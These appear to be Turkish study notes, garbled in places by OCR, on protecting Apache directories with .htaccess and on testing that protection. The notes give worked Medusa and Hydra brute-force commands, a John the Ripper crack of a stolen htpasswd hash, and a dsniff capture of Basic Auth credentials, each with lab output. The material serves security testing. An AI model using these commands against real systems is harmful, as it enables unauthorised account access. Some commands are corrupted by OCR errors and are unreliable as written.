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adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu cikarilan
notlar belgemde alintilar ve/veya kisisel ilavelerim mevcuttur.



1)

Netcraft verilerine gére dinyadaki web sunucularin bayuk bir cogunlugu Apache
web sunucu yazilimini kullanmaktadir. Apache web sunucu yazilimi barindirdigi
cesitli guvenlik 6zellikleriyle sistem yoOneticilerinin guvenlik dnlemlerini almasini
kolaylastirmistir. Bu guvenlik 6zelliklerinden birisi de web sunucu altinda belirli
sayfalara, dizinlere parola korumasi eklenebilmesi ve ip kisitlama
koyulabilmesidir. Bu yazida Apache web sunucusunun en sik tercih edilen
Ozelliklerinden biri olan htaccess korumasi ve bu korumaya yonelik
gerceklestirilebilecek temel saldirilari anlatmaktadir. .htaccess’in diger kullanim
amaclarini incelemek icin Apache.org sitesi ziyaret edilerek bilgi alinabilir.
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2)
Htaccess Guvenligi

Htaccess ile korunan sayfalarin guvenligiyle ilgili asagidaki durumlar s6z konusu
olabilir:

» Htaccess korumali alana erisen yonetici trafigini birileri sniff edebilir.

» Htaccess korumali alana yonelik bruteforce/s6zlUk saldirisi
gerceklestirilebilir.

. .htaccess dosyasi icerigi sunucudan sizdirilabilir.

* Sunucuda yukllu bilesenlere bagl olarak htaccess korumasi atlatilabilir.
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3)
Apache Htaccess Korumali Sayfalarin Giivenlik Testleri

a. Parola Korumali Dizin Olusturma

Merakli gozlerden korunmak istenen alan /home/blog/test olsun. Bu
dizin altina asagidaki satirlari iceren .htaccess dosyasi koyularak
web Uzerinden yapilacak erisimlere kisitlama getirilmis olur.

.htaccess

AuthUserFile /etc/.htpasswd-1
AuthGroupFile /dev/null
AuthName "Giris Yasak!"
AuthType Basic

<Limit GET POST>



require valid-user
</Limit>

Yukardaki satirlar genel olarak belirtilen dizin icin sadece yetkili
kullanicilarin GET, POST istekleri gonderebilmesini saglar. Hangi
kullanicilarin yetkili oldugu ve yetki bilgileri “/etc/.htpasswd-1"
dosyasinda belirtiimelidir.

Yetkili kullanici eklemek icin kullanilacak komut htpasswd
komutudur. Asagidaki komutla bga adinda yetkili bir kullanici
sisteme eklenmistir.

# htpasswd -c /etc/.htpasswd-1 bga
New password:

Re-type new password:

Adding password for user bga

NOT: htpasswd komutuna -c parametresi sadece ilk kullanici ekleme
isleminde kullaniimalidir.

/etc/.htpasswd-1 dosyasi icerigine bakilacak olursa asagidaki
formatta hesap bilgileri gdoztukecektir. [Parola DES ile sifrelenmis
sekilde saklanmaktadir]

# cat /etc/.htpasswd-1
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Htaccess korumali sayfalarda “BASIC AUTH “ kimlik dogrulama
method kullanilir(genellikle). BASIC AUTH destekli herhangi bir



online parola test araci bruteforce islemleri icin kullanilabilir fakat
sundugu secenekler ve performans degerleri g6z 6ntine alindiginda
Hydra veya Medusa araclarinin tercihi isabetli olacaktir.

b. Medusa/Hydra Kullanarak htaccess Korumali Sayfalara Yonelik Parola
Testleri
Medusa ve Hydra benzer 6zelliklere sahip ag lzerinden parola
deneme(brute force) aracidir. Asagida Medusa ve Hydra yazilimlari
kullanarak Apache htaccess ile korunan parolali sayfalara ulasmak
icin gerekli komutlar verilmistir.

> medusa -M http -m USER-AGENT:"Firefox-Explorer-99.1" -m
DIR:/test -m AUTH:BASIC -h 10.10.10.1 -u bga -P bga-wordlist22

Output:

ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, O complete)
User: bga (1 of

1, 0 complete) Password: zzzzzz (4406 of 4417 complete)

ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, O complete)
User: bga (1 of

1, 0 complete) Password: zzzzzzzzzzzzz (4414 of 4417

complete)

ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, O complete)

User: bga (1 of 1, 0 complete) Password: zzzzzzzzzzzzzzzzzz

(4415 of 4417 complete)

ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete)

User: bga (1 of 1, 0 complete) Password: {log} (4416 of 4417

complete)

ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, O complete)

User: bga (1 of 1, 0 complete) Password: Ou7b00k (4417 of

4417 complete)

ACCOUNT FOUND: [http] Host: 10.10.10.1 User: bga
Password: Ou7b00k [SUCCESS]

> hydra -1 bga -P bga-wordlist22 -f 10.10.10.1 http-get /test -vV
Output:

[ATTEMPT] target 10.10.10.1 - login "bga" - pass "01214nd0"



child 26 - 675 of 4417

[ATTEMPT] target 10.10.10.1 - login "bga" - pass "0123" -
child 27 - 676 of 4417

[ATTEMPT] target 10.10.10.1 - login "bga" - pass
"012301279x" - child 28 - 677 of 4417

[ATTEMPT] target 10.10.10.1 - login "bga" - pass
"012307120chilu5" - child 29 - 678 of 4417

[STATUS] attack finished for 10.10.10.1 (waiting for childs to
finish) [80][www] host: 10.10.10.1 login: bga password:
Ou7b00k

[ATTEMPT] target 10.10.10.1 - login "bga" - pass "0u7b00k" -
child 3 - 4417 of 4417

Parola tahmin islemi bittikten sonra bulunan parola ve
kullanici adi bilgileri kullanilarak hedef sistemdeki korunmus
sayfalara erisilebilir.
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4)
Ele Gecirilmis htaccess Parolalarini Kirma

Htaccess korumali alanlarin giivenligini tehlikeye sokacak durumlardan biri
de .htaccess dosyasinin baskalarinin eline gecmesidir. Eger .htaccess ile
korunan alana IP yasaklama yoksa, yani sadece kullanici/parola bilgileriyle
erisilebiliyorsa bu dosyanin guvenliginin 6nemi daha da artmaktadir. Htaccess
dosyasini ele geciren bir saldirgan John The Ripper parola kirma aracini
kullanarak cok kisa surede hesap bilgilerinin agik hallerine ulasabilir.

> john /tmp/htpasswd -w:/root/bt4-password.txt
Output:
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])

zorparol (bga) guesses: 1 time: 0:00:00:01 100.00% (ETA: Sun
Nov 28 11:25:04 2010)

c/s: 1301K trying: zzttdai - zorparol

John The Ripper saniyede ortalama 1.3 milyon deneme yaparak htaccess ile
korudugumuz sayfaya ait parola bilgisini kirmayi basardi.
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5)

Htaccess korumali sayfalara http Uzerinden erisim saglaniyorsa aradaki hattin
glvenilir olmasi cok 6nemlidir. http sifrelenmemis bir protokol oldugu icin arada
gidip gelen tim veriler merakli gozler tarafindan okunabilir. Asagidaki ¢ikti basit
bir sniffer yazilimi kullanarak htaccess ile korunan alanlara erisen hesap
bilgilerinin rahatlikla yakalanabilecegini géstermektedir.

> dsniff
Output:

dsniff: listening on ethO

11/28/10 11:26:33 tcp 10.10.10.65.1642 -> 10.10.10.1.80 (http)
GET /test/ HTTP/1.1
Host: 10.10.10.1

Authorization: Basic YmdhOmFh [bga:aal

GET /test/ HTTP/1.1

Host: 10.10.10.1

Authorization: Basic YmdhOnpvcnBhcm9sYQ==
[bga:zorparola]
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